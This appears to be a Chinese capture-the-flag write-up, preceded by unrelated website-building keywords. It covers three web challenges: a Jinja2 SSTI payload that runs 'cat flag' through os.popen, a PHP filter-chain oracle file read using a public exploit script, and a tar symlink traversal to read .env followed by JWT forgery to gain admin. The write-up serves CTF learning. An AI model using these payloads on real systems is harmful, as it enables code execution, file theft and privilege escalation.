网站首页制作浩森宇特,凯里做网站,海珠建设网站,医院网站设计与实现SSTI
可以看到主页那里有个登录测试之后为ssti
{{4*4}}
fenjing梭哈即可得到payload
{{((g.pop.__globals__.__builtins__.__import__(os)).popen(cat flag)).read()}}file_copy
看到题目名字为file_copy#xff0c;
当输入路径时会返回目标文件的大小#xff0c;
通…SSTI
可以看到主页那里有个登录测试之后为ssti
{{4*4}}
fenjing梭哈即可得到payload
{{((g.pop.__globals__.__builtins__.__import__(os)).popen(cat flag)).read()}}file_copy
看到题目名字为file_copy
当输入路径时会返回目标文件的大小
通过返回包可以看到PHP版本为8.1.31
从而找到DownUnder CTF 2022 的题目
https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle#/
通过github脚本进行读取flag https://github.com/synacktiv/php_filter_chains_oracle_exploit/tree/main?tabreadme-ov-file#/
python3 filters_chain_oracle_exploit.py --target http://eci-2ze4o9fodim6wmt5gbgp.cloudeci1.ichunqiu.com/ --file /flag --parameter path运行得到flag
Gotar
先随便创建一个账号然后登录。
创建一个软链接
ln -s ../../../.env links然后将文件夹解压
tar -cf link.tar links上传
通过代码审计可以得出链接位置
const ( uploadDir ./assets/uploads extractedDir ./assets/extracted
)一个为上传位置另一个为解压位置
拼接得到软链接的路径
assets/extracted/2/links
得到key
然后进行jwt伪造
id改为1admin改成true。
得到flag